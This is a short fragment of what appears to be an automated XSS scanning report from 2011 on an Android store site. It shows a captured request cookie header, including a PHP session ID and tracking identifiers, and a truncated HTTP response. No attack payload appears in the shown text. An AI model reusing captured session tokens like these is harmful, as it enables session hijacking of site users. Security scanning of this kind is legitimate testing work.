Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.30.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:38 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 62182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

Report generated by XSS.CX at Tue May 10 12:57:10 CDT 2011.